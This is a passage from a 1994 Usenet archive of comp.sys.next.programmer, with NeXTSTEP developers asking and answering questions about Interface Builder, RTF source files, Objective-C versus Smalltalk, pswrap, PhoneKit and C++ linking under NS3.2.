PostScript. It's not perfect, but it has some excellent benefits. -- Glenn Reid glenn@rightbrain.com Woodside, California Shameless Plug: buy my book, "Thinking in PostScript"
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: [IBDocument getObjects:list]??? Date: 25 Jan 1994 22:32:41 -0000 Organization: me organized? That's a joke! Message-ID: <2i46m9$2dt@steffi.demon.co.uk> Anybody know exactly what this method does or is suppose to do? It just gives me an empty list when I use it in my palette. anybody know a way to get to the list of objects inside a nib whilst in IB's test interface mode? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil (RTF) Date: 26 Jan 1994 00:21:41 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2i4d2l$404@usenet.rpi.edu> References: <1994Jan24.193236.11217@its.com> > ericw@its.com (Eric Wespestad) writes: > > gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > > We probably should also ask ourselves the question: > > > > Do we really want Multimedia *source* code, or is it that > > we want the ability to have multimedia *comments* embedded > > in our source code? > > > > Support for multimedia comments embedded right in the source code > > file seems quite useful to me. The actual source code itself has > > no real need to be multimedia, though. > > Rensselaer Polytechnic Institute; Troy NY USA > > Huh? It depends on whether you prefer this (the unmodified orginal): > [shows bland code example, no colors] > > or this (formatted automatically by RTFSyntax.app): > [shows same code, formatted nicely, used colors in various ways] > > Inherrited code (I didn't write the above) can often be difficult > to read, let alone understand) - so I say yes, we really want > (optional) multimedia *source* code, because anything that can make > life a little simpler is good. People don't have to write source > in RTF, but being able to turn source into RTF (and it still compile) > is a real boon, IMHO. In the example originally given (not included in this article), the formatting done was straightforward and standardized. The formatting job was done by RTFSyntax.app, for instance. Ie, it was programatically generated. My feeling is that such *standardized* formatting should be done via the Editor, the way emacs can do it. There is no need to change the source code itself when all you want is certain language constructs highlighted in certain ways. If RTFSyntax.app can do the above formatting, then Edit.app could do it too. And, what's better, it would do it without changing the source code from plain text (which millions of programs understand) to RTF. I do think there's a place for RTF support in source code files, but all the examples I can think of are really RTF support in *comments*, and not in the source code itself. In those cases, I'd like RTF support precisely because the formatting I want done is too specialized to do programatically. --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Reversing the colors in printPSCode: Date: 26 Jan 1994 01:23:56 GMT Organization: New York University Distribution: world Message-ID: <2i4gnc$cqm@cmcl2.NYU.EDU> I've a View where I draw white objects on a black background. Is there a way to make printPSCode reverse the colors (black objects on a white background). In general, is there a way to make printPSCode: take some prolog PS code before sending the postcript to the printer? Thanks. -- Dario
From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) Newsgroups: comp.sys.next.programmer Subject: Common Lisp interpreter Date: 26 Jan 1994 03:14:12 GMT Organization: University of California, at Berkeley Message-ID: <2i4n64$4ec@agate.berkeley.edu> Anyone know of a good common lisp interpreter that will work with NS/FIP? Thanks, Mark Frohnmayer markf@cory.eecs.berkeley.edu
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Getting to the FAX Panel Message-ID: <1994Jan25.194140.14737@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software Date: Tue, 25 Jan 1994 19:41:40 GMT I'm trying to finish off a suggestions panel facility in an app. I have the suggestions panel remotely invoking Mail.app just fine. What I can't figure out is how to get the suggestions panel to talk to the FAX panel to fill in my name and FAX number -- I can't find even a smidgeon of documentation on the FAX panel. If I use faxPSCode I can get the FAX panel up, but the names and numbers have to be filled in by the user. If I use faxPSCode:toList:numberList:... and so on, I can get the FAX to the correct number and names and all that, but the FAX goes out without the FAX panel showing up and the user never gets a chance to edit or veto the FAX. My suggestions panel has all the correct names and numbers, which the user could select and paste into the FAX panel, but of course the panel blocks, and so the user can't select anything from the suggestions panel. I'm sure this has been done before -- any pointers would be aknowledged gratefully. Thanks, ....... Henry
From: ambi@world.std.com (Mike Amirault) Newsgroups: comp.sys.next.programmer Subject: 3.2 wait.h bug.. Date: 26 Jan 1994 04:01:07 GMT Organization: Boston University Message-ID: <2i4pu3$csq@news.bu.edu> I think I've seen this mentioned before, but I coudln't find it.. I just upgraded to 3.2, but now my code dies seemingly because it can't read all of the /usr/include/bsd/sys/wait.h file. Anyone know what the problem is? Mike ambi@world.std.com
From: jeske@ux4.cso.uiuc.edu (David Jeske) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 26 Jan 1994 06:38:16 GMT Organization: University of Illinois at Urbana Message-ID: <2i534o$6g0@vixen.cso.uiuc.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: >In terms of learning OOP principles with an easy to remember and learn >language, I would say C++ is probably the worst choice of language you Can't agree more. >could pick (and Obj-C isn't that wonderful either); I'd say Smalltalk ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ Objective-C is a C/SmallTalk hybrid, and I think in a well balanced Objective-C program the code is VERY readable. Mind you, the more C the programmer uses, the less readable (and usually faster) it is... but Straight Objective-C code is very readable. >is a far simpler, easier to read and understand on first glance >programming language than either C++ or Obj-C, so Obj-C might be >"dead" compared to other OOPLs. >Maybe you should learn Smalltalk, C++ and Obj-C and make your own >opinion. >-- >J.B. Nicholson-Owens (*NO* NeXTmail please) -- David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer CoCreator of the GTalk Chat Software System - online at (708)998-0008 Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Mosaic or html view Date: 26 Jan 1994 03:48:32 GMT Organization: Stanford University Message-ID: <2i4p6g$5d7@nntp2.Stanford.EDU> Is there a subclass of Text (View) which can present html interactively? Is Berners-Lee WorldWideWeb.app v 0.14, the latest, only WWW viewer under NS? Sha Xin Wei Stanford University
Newsgroups: comp.sys.next.programmer From: fabien@free.fdn.org (Fabien Roy) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan25.224637.919@free.fdn.org> Sender: news@free.fdn.org Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France. References: <1994Jan24.000112.2205@gleap.sccsi.com> Date: Tue, 25 Jan 1994 22:46:37 GMT In article <1994Jan24.000112.2205@gleap.sccsi.com> clloyd@gleap (Charles C. Lloyd) writes: > Some people seem to think it was a mistake for NeXT to integrate support for > rtf in source because it gets us going down the wrong path, or because they > should have done the optimal solution (eg. a context sensitive editor). I look > at the addition of rtf source as a nice stop-gap compromise. From experience, > I know that modifying cpp to handle rtf is a relatively simple matter (a > weekend project). However, a context-sensitive editor is not trivial. We must > crawl before we can walk. I look at this rtf source deal as a way to whet > people's appetite for better source editors. Perhaps all this hullabaloo will > inspire someone to write an editor akin to Edit.app that has the context > sensitive formatting options in it (I'm no Emacs user). Then, the addition of > rtf support will have been a good catalyst to make it happen. Besides, if NeXT > hadn't done it, I would have and we wouldn't have had all this vigorous (if not > fruitful) discussion. :-) > > Charles. > -- > Charles Lloyd clloyd@GLeap.sccsi.com > GiantLeap Software > (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax) Here an other point: It s not possible to make IB to *parse* a RichText header file!! I think the the people at NeXT should think of all the implication of adding new features. --Fabien ___________________________________________________________________ Fabien Roy fabien@free.fdn.org NeXTmail OK
From: jeffo@uiuc.edu (J.B. Nicholson-Owens) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 26 Jan 94 10:46:26 GMT Organization: University of Illinois at Urbana Message-ID: <jeffo.759581186@uiuc.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> <2i534o$6g0@vixen.cso.uiuc.edu> David Jeske writes: >Objective-C is a C/SmallTalk hybrid, and I think in a well balanced >Objective-C program the code is VERY readable. Mind you, the more C the >programmer uses, the less readable (and usually faster) it is... but >Straight Objective-C code is very readable. I agree, but unfortunately, I've never seen an Obj-C program of any substance (e.g., something beyond a demo or brief Obj-C instructional program) that had only Obj-C code (e.g., everything declared as an id, no pointers or casts used and only Obj-C header files imported). I'm not saying writing lengthy programs in only Obj-C won't ever be done. I'm saying when I compare commonly found or so-called "real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to read and remember. -- J.B. Nicholson-Owens (*NO* NeXTmail please)
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: SUMMARY : instance-drawn text upside down when scrolling Date: 26 Jan 1994 05:10:26 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401261107.AA12043@dcs.shef.ac.uk> I asked: > I'm displaying current selection coordinates in a View using Instance > drawing. It all works fine up until I start scrolling. Thereafter > the correct numbers seem to appear in about the right place, but > upside-down and back-to-front. Can anybody offer any suggestions as > to where to look for the bug, or what remedial action I might take? > [The coordinate system does not seem to be flipped...?] > Many thanks to Robert Nicholson for pointing me in the right direction. I had only set the font once, using PSsetfont(), outside of the scrolling routing. I replaced that with if (positionFont == NULL) { positionFont = [Font newFont:POSITION_FONT size:POSITION_FONT_SIZE matrix:NX_IDENTITYMATRIX]; } [positionFont set]; called within each iteration of the text-drawing routine, and it now works fine (I used NX_IDENTITYMATRIX since, as I'm drawing in a regular View, the coordinate system is not flipped). As a bonus this gives me a Font to hand to use strWidth = [positionFont getWidthOf:charbuf]; rather than the more resource-wasteful PSstringwidth(charbuf, &strWidth, &tmp); I guess I should have done "The Right Thing" to start with! :-) Have fun, mmalcolm.
From: fankhauser@uptime.ch (George Fankhauser) Newsgroups: comp.sys.next.programmer Subject: Re: XOR drawing in NeXTSTEP Date: 26 Jan 1994 11:30:13 +0100 Organization: Uptime Object Factory Inc, Zurich, Switzerland Message-ID: <2i5gnl$32f@california.uptime.ch> References: <2i2b7o$82v@senator-bedfellow.mit.edu> Keywords: XOR, Drawing, optimized In article <2i2b7o$82v@senator-bedfellow.mit.edu>, Shane G. Artis <shanega@athena.mit.edu> wrote: > >Hello, NeXT community, > > I am a NeXTSTEP software developer with the task of porting a >segment of code from an X-windows program to NeXTSTEP. This is easy, >in general, but breaks down when I have to do XOR operations in the >X-windows way (NOT an XOR composite). Has anyone out there surmounted >this problem in the 'correct' fashion, i.e. no clear windows floating as far as I know there is XOR support only for the alpha-channel, not for painting. >over the background with the xor-ed pixels drawn to the clear window, >for example? What I want is a true XOR operation as defined under the >X-windows standard, or any reasonable facsimile thereof. Failing >that, any suggestions for quality workarounds? I don't need >high-speed, just compatibility. > I did some porting-work too and used NXReadBitmap/NXDrawBitmap while doing the xor by myself. anyone knows a more efficient approach? -- George Fankhauser Uptime Object Factory Inc Director Software Engineering Integrated NEXTSTEP Solutions fankhauser@uptime.ch (NeXTmail ok) Postfach, Baumackerstrasse 46 Phone +41-1-313 06 07, Fax +41-1-313 07 55 CH-8050 Zurich/Switzerland
Newsgroups: comp.sys.next.programmer From: robert@steffi.demon.co.uk (Robert Nicholson) Subject: cmsg cancel <2i46m9$2dt@steffi.demon.co.uk> Control: cancel <2i46m9$2dt@steffi.demon.co.uk> Date: Wed, 26 Jan 1994 13:26:48 +0000 Message-ID: <9401261326.AA00583@steffi.demon.co.uk> Sender: usenet@demon.co.uk Cancel
Newsgroups: comp.sys.next.programmer From: jpowell@borg.lib.vt.edu (James Powell) Subject: Windows not speaking to one another Message-ID: <JUELBHYJ@math.fu-berlin.de> Sender: news@math.fu-berlin.de (Math Department) Organization: Newman Library, Virginia Tech Date: Wed, 26 Jan 1994 15:18:09 GMT I have a simple editor application which has a main window (text object inside a scroll view) with some pull down menu options in the same window above the scroll view. I have additional options in the form of a matrix of buttons on another window the user can display from the menu. The user is supposed to select a button and this will insert text into the document displayed in the main window. However, this does not work. Oddly enough I also cannot load a file into this window using [myText readText:] however I can save the contents to a file. I set the outlets myText and myWindow in Interface builder, as well as the outlet to the other window. Is there something I am missing? All other methods of my controller class can communicate with the main window just fine, only the method to grab the selected button from the other window and pass the appropriate value to myText fails in the controller class. -- James Powell - Library Automation, University Libraries, VPI&SU jpowell@borg.lib.vt.edu - NeXTMail welcome here Owner of VPIEJ-L, a discussion list for Electronic Journals Archives: http://borg.lib.vt.edu:80/ gopher://borg.lib.vt.edu:70/
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 26 Jan 1994 14:20:27 -0000 Organization: me organized? That's a joke! Message-ID: <2i5u7b$n5@steffi.demon.co.uk> References: <1994Jan24.000112.2205@gleap.sccsi.com> <1994Jan25.224637.919@free.fdn.org> fabien@free.fdn.org (Fabien Roy) wrote in comp.sys.next.programmer WOW!!!! I didn't know that. :-) >Here an other point: > >It s not possible to make IB to *parse* a RichText header file!! >I think the the people at NeXT should think of all the implication of >adding new features. > >--Fabien >___________________________________________________________________ >Fabien Roy fabien@free.fdn.org >NeXTmail OK It's not practical for NeXT to go and add RTF support to all tools that need to read RTF. That's a quick hack. What is possible and what should be looked at. Is some means of filter services that aren't just based on filetype. Unless of course .rtfh becomes a recognised extension but currently .h and .h are the same regardless of wether they are RTF or not. It is my belief that filterservices isn't necessarily constrained to file types though. So as long as the application was aware it could use filterservices when parsing .h files. A file begining with {\rtf0 could be considered RTF created by NeXT's text object. ie. Edit.app. So as long are you able to specify your own criteria for determining what type something is this is possible. So what's needed is a general purpose filter service aware parsing library. Or perhaps a version of NXMapFile that understood filtering and just returned the converted information to the stream. This sounds doable. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 26 Jan 1994 14:28:10 -0000 Organization: me organized? That's a joke! Message-ID: <2i5ulq$oi@steffi.demon.co.uk> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> <2i534o$6g0@vixen.cso.uiuc.edu> <jeffo.759581186@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) wrote in comp.sys.next.programmer >David Jeske writes: > >>Objective-C is a C/SmallTalk hybrid, and I think in a well balanced >>Objective-C program the code is VERY readable. Mind you, the more C the >>programmer uses, the less readable (and usually faster) it is... but >>Straight Objective-C code is very readable. > >I agree, but unfortunately, I've never seen an Obj-C program of any >substance (e.g., something beyond a demo or brief Obj-C instructional >program) that had only Obj-C code (e.g., everything declared as an id, >no pointers or casts used and only Obj-C header files imported). And thank god for that too!!!!! We need static type checking. Smalltalk is an untyped language. Objective-C, thankfully isn't otherwise it would make life hell for developing commercial applications. I don't need the runtime overhead of Smalltalk, but speeds a hardware issue right? (As Alexie Sayle would say, CCCCrrrap!) > >I'm not saying writing lengthy programs in only Obj-C won't ever be >done. I'm saying when I compare commonly found or so-called >"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to >read and remember. Sure but Smalltalk is Smalltalk. This issue has absolutely nothing to do with readability. A language shouldn't be considered good, hence doesn't stand a living chance of dying (work that one out) just because it is readable. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: chris@its.com (Chris Cuilla) Subject: Re: Objectware License Agreements Message-ID: <1994Jan26.153759.24157@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Jan25.180235.12452@CSD-NewsHost.Stanford.EDU> Date: Wed, 26 Jan 1994 15:37:59 GMT Scott Roy writes > Chris Cuilla writes, > > | > | Perhaps I mis-read the agreement...but I thought that the royalty was > | only to be paid until the license agreement fee was paid off, or some > | such thing. Am I wrong? > | > > Chris is 100% correct. Wow...this is rare...I'm lucky. > The original agreement capped the royalty payments at the upfront fee. > I've since raised that to 1.5x the upfront fee, since it seems > reasonable to ask developers to pay a premium for the loan. This is pretty reasonable...c'mon folks...I think Scott is making a terrific effort to create a viable licensing scheme. I have looked through the 0.0 IconKit...so far I'm pretty impressed...It would easily take more more time to create this than I could justify with the price/conditions Scott is presenting. Scott...good luck with this. Would you (Scott) mind sending me the revision? Thanks! -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
From: balfanz@zorro.informatik.hu-berlin.de (Dirk Balfanz) Newsgroups: comp.sys.next.programmer Subject: PhoneKit help needed. Date: 26 Jan 1994 16:56:45 GMT Organization: Humboldt University Berlin, Department of Computer Science Distribution: world Message-ID: <2i67cd$fub@hahn.informatik.hu-berlin.de> As PhoneKit has gone away in 3.1 I tried to bring it back to life. So I took my 3.0 CD and copied the following files to my hard disk: /usr/lib/libphone_p.a /usr/lib/libphone_s.a /usr/shlib/libphone_s.A.shlib /usr/lib/phone/PhoneServer /NextDeveloper/Headers/phonekit/* Is this all there is to it? I'm asking because my little program refuses to work: ------------------------------------------------------------------------ #import<phonekit/NXPhone.h> #import"MyCall.h" #import"MyChannel.h" main() { id thePhone = [[NXPhone alloc] initType: NX_POTSDevice]; id theChannel = [[MyPhoneChannel alloc] initType: NX_POTSChannel]; id theCall = [[MyPhoneCall alloc] initType: NX_VoiceCall]; [theChannel addCall: theCall]; [thePhone addChannel: theChannel]; [thePhone acquireChannel: theChannel]; [theCall pickUp]; [thePhone run]; } ------------------------------------------------------------------------ The only thing actually to be done is: ------------------------------------------------------------------------ .. @implementation MyPhoneCall .. - (void)dialToneReceived { printf("Dialtone Received!!!\n"); } .. ------------------------------------------------------------------------ It compiles fine but, when executed, gives only: 'Couldn't get kernel_task: failure(5)' The Console says: 'Can't load isdn server NXPhone: Unable to establish connection couldn't find parameter port' It's the first time I try to play around with PhoneKit. What am I missing here? Is it release 3.1 that makes it impossible or didn't I understand how to write PhoneKit apps. Or maybe I just failed to restore the stuff? Can somebody help me out in my despair? Thanks in advance. Dirk.
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: pswrap bug? Message-ID: <ARROUYE.94Jan26162535@petole.imag.fr> Sender: news@imag.fr Organization: LGI-IMAG, Grenoble, France Date: Wed, 26 Jan 1994 15:25:35 GMT Hello, Given _myArray an array of known size, the following wrap defineps PSWtry1(int size | int list[size]) _myArray list endps produces a runtime error (invalid tag in return...), but defineps PSWtry2(int size | int list[size]) _myArray { list } forall endps does not. I do not know why PSWtry1 fails, because Adobe pswrap examples say that it should be possible, as in (pswrap ref. manual, PSW-30) defineps PSWTest(| int Array[6]) [1 2 3] Array [4 5 6] Array endps If anybody has some clue about that, I am interested; otherwise, I will post this to nextbug. Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Message-ID: <02%@byu.edu> Date: Wed, 26 Jan 94 12:46:01 MST From: yackd@maine.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Distribution: world References: <CK5xIq.5AB@lorax.com> <2i3i4s$lh1@darkstar.UCSC.EDU> Organization: Brigham Young University, Provo UT USA Subject: Re: Typed streams are evil In article <2i3i4s$lh1@darkstar.UCSC.EDU>, art@cubicsol.com (Art Isbell) writes: > So the consideration becomes whether the sometimes considerable amount >of time required to write the parser/compiler in order to provide support >for an ASCII version is justified when using typed streams is a slam-dunk >that works quite well. Well, I don't think ascii files are really all that hard. Most programs aren't going to require that tough of a file formatting scheme, so you likely can do the job without needing the full power of LR parsing (what bison/yacc do). Most formats would be simple enough to work fine for an ad-hoc parser, or better (IMHO) a recursive descent parser. In fact, with OOP, a recursive descent parser is a _cakewalk_ to build: if you consider the -read: and -write: we already use, that is basically a recursive descent parser already! So you make ascii parallels to these methods...asciiRead: and asciiWrite: and set up the object class with a specialized archiving system based on those. Put together a simple library to put/get something of a particular type onto a stream, and voila! your ascii file parsing and generation is just as easy as the typed streams stuff. Something to think about. Hey...I guess this could be an opportunity for a few interesting categories and functions in a library. Anyone want to try their hand at something like this for the MiscKit? :-) (Maybe I will someday if I ever get the time. I'd find this useful...) -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
From: david@nd.com (David Samson) Newsgroups: comp.sys.next.programmer Subject: compiling for multiple architecture Date: 26 Jan 1994 15:36:16 GMT Organization: University of Florida College of Engineering Distribution: world Message-ID: <2i62lg$3is@bigguy.eng.ufl.edu> Does anyone know how to compile Apps for multiple architectures from a terminal. Sorry about this, I know someone already posted on this topic. Would someone please e-mail me the appropriate flags for compiling m68k and i386. Thanks -- /\ / | David Samson / \/euro /\ | 720 SW 2nd Ave, Gainesville, FL 32601 /_/imension | david@nd.com or david@nd-isdn.ee.ufl.edu
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Common Lisp interpreter In-Reply-To: markf@cory.EECS.Berkeley.EDU's message of 26 Jan 1994 03:14:12 GMT Message-ID: <BYER.94Jan26121247@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2i4n64$4ec@agate.berkeley.edu> Date: Wed, 26 Jan 1994 20:12:47 GMT In article <2i4n64$4ec@agate.berkeley.edu> markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) writes: > Anyone know of a good common lisp interpreter that will work with NS/FIP? Emacs comes with a compatibility set of routines (cl.el?) which add enough common lisp routines to the base interpreter that you should be able to get by. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: pswrap bug? In-Reply-To: arrouye@petole.imag.fr's message of Wed, 26 Jan 1994 15:25:35 GMT Message-ID: <BYER.94Jan26122526@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <ARROUYE.94Jan26162535@petole.imag.fr> Date: Wed, 26 Jan 1994 20:25:26 GMT In article <ARROUYE.94Jan26162535@petole.imag.fr> arrouye@petole.imag.fr (Yves Arrouye) writes: > Given _myArray an array of known size, the following wrap > defineps PSWtry1(int size | int list[size]) > _myArray list > endps > produces a runtime error (invalid tag in return...), but > defineps PSWtry2(int size | int list[size]) > _myArray { > list > } forall > endps > does not. I do not know why PSWtry1 fails, because Adobe pswrap > examples say that it should be possible, as in (pswrap ref. manual, > PSW-30) What you are hitting in an ambiguity between getting back a series of output values (sec.B.4.3 in the Purple Book) and getting back an array. pswrap tries to use the syntax of the PostScript code in the wrap definition to determine which case it's in. The example in the book will work because pswrap can easily determine that it's an array being returned, and thus it can expect an array type return. However, in your first example, there is no such syntactic clue. Apparently, pswrap is assuming "series of return values" in that case, and thus the type mismatch with the objects real type. The client library should be repared to handle the ambiguity at run time, though, so I'd be inclined to call this a bug. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: karl@khaos.com (Karl Hanzel) Subject: c++'ing under NS3.2 (RTF posting) Message-ID: <1994Jan26.152400.2103@nugget.rmNUG.ORG> Sender: karl@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group Date: Wed, 26 Jan 1994 15:24:00 GMT OK (i'm reviewing my c++ from over a year ago), i had heard that 3.2 was supposed to have the complete g++ libraries included, and that appears to be true. More than anything, i'm just not familiar with the cc++ compiler. What's to do with the following "text book" example?: #include <iostream.h> main() { cout << "Hello, World\n"; } $ cc++ hello.c ld: Undefined symbols: _cout ostream::operator<<(const char *) I grep'd around trying to determine where cout is constructed, but didn't find anything. The only reference to it at all is in iostream.h where it's declared as an extern: extern ostream cout, cerr, clog; // clog->rdbuf() == cerr->rdbuf() So i'm puzzled. What is the third line from the compiler about?... is that still in reference to the undefined symbol? If i inject ostream cout; to declare it myself, i get more flak: $ cc++ hello.c ld: Undefined symbols: ostream::operator<<(const char *) ostream::~ostream() ostream::ostream(int) Pffft! What gives? Thanks, Karl *-----> -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($]+("AI)VT@<F5V M:65W:6YG(&UY(&,K*R!F<F]M(&]V97(@82!Y96%R(&%G;RDL(&D@:&%D(&AE M87)D('1H870@,RXR('=A<R!S=7!P;W-E9"!T;R!H879E('1H92!C;VUP;&5T M92!G*RL@;&EB<F%R:65S(&EN8VQU9&5D+"!A;F0@=&AA="`*7&D@87!P96%R M<PI<:3`@('1O(&)E('1R=64N("!-;W)E('1H86X@86YY=&AI;F<L(&DG;2!J M=7-T(&YO="!F86UI;&EA<B!W:71H('1H92!C8RLK(&-O;7!I;&5R+B`@5VAA M="=S('1O(&1O('=I=&@@=&AE(&9O;&QO=VEN9R`B=&5X="!B;V]K(B!E>&%M M<&QE/SI<"EP*"EQB7&9S,C`@(VEN8VQU9&4@/&EO<W1R96%M+F@^7`IM86EN M*"D@(%Q[("!C;W5T(#P\(")(96QL;RP@5V]R;&1<7&XB.R`@7'U<"@I<8C!< M9G,R-"!<"@I<:5QF<S(P("0@8V,K*R!H96QL;RYC7`IL9#H@56YD969I;F5D M('-Y;6)O;',Z7`I?8V]U=%P*;W-T<F5A;3HZ;W!E<F%T;W(\/"AC;VYS="!C M:&%R("HI7`H*7&DP7&9S,C0@7`I)(&=R97`G9"!A<F]U;F0@=')Y:6YG('1O M(&1E=&5R;6EN92!W:&5R92!C;W5T(&ES(&-O;G-T<G5C=&5D+"!B=70@9&ED M;B=T(&9I;F0@86YY=&AI;F<N("!4:&4@;VYL>2!R969E<F5N8V4@=&\@:70@ M870@86QL(&ES(&EN(&EO<W1R96%M+F@@=VAE<F4@:70G<R!D96-L87)E9"!A M<R!A;B!E>'1E<FXZ7`I<"@I<:5QF<S(P(&5X=&5R;B!O<W1R96%M(&-O=70L M(&-E<G(L(&-L;V<[("\O(&-L;V<M/G)D8G5F*"D@/3T@8V5R<BT^<F1B=68H M*0I<:3!<9G,R-"!<"EP*4V\@:2=M('!U>GIL960N("!7:&%T(&ES('1H92!T M:&ER9"!L:6YE(&9R;VT@=&AE(&-O;7!I;&5R(&%B;W5T/RXN+B!I<R!T:&%T M('-T:6QL(&EN(')E9F5R96YC92!T;R!T:&4@=6YD969I;F5D('-Y;6)O;#\@ M($EF(&D@:6YJ96-T(`I<8EQF<S(P(&]S=')E86T@8V]U=`I<8C!<9G,R-"`[ M('1O(&1E8VQA<F4@:70@;7ES96QF+"!I(&=E="!M;W)E(&9L86LZ7`I<"@I< M:5QF<S(P("0@8V,K*R!H96QL;RYC7`IL9#H@56YD969I;F5D('-Y;6)O;',Z M7`IO<W1R96%M.CIO<&5R871O<CP\*&-O;G-T(&-H87(@*BE<"F]S=')E86TZ M.GYO<W1R96%M*"E<"F]S=')E86TZ.F]S=')E86TH:6YT*0I<:3!<9G,R-"!< M"EP*4&9F9G0A("!7:&%T(&=I=F5S/PI<"EP*5&AA;FMS+%P*("`@2V%R;%P* /("`@*BTM+2TM/EP*"GT* ` -- Karl Hanzel Boulder, Colorado karl@khaos.com (NeXT Mail) or hanzel@comet.ucar.edu
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: Wed, 26 Jan 1994 16:50:32 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <0hFiKca00iV3Q9d0UV@andrew.cmu.edu> In-Reply-To: <jeffo.759581186@uiuc.edu> Excerpts from netnews.comp.sys.next.programmer: 26-Jan-94 Re: Is Objective - C a dead.. by J.B. Nicholson-Owens@uiu > I agree, but unfortunately, I've never seen an Obj-C program of any > substance (e.g., something beyond a demo or brief Obj-C instructional > program) that had only Obj-C code (e.g., everything declared as an id, > no pointers or casts used and only Obj-C header files imported). Obj-C isn't completely different than C, you know! The kind of restrictions you suggest are silly, IMHO; you would lose all typechecking. Obj-C doesn't have the kind of polymorphic type checking of a more functional language (SML, maybe SmallTalk).... You use Obj-C to break your program into functional objects that communicate via message passing, but these objects may be implemented in straight C, C++, or from smaller objects. -Chuck Charles William Swiger - WhiteLight Systems --------------------------------------------+ AMS & normal mail: infidel@cmu.edu | 1. You can't fly. Failing that: cs4w+@andrew.cmu.edu | 2. Cars are always real. NeXTmail: chuck@mon.slip.andrew.cmu.edu | 3. Police are not your friends. --------------------------------------------+ 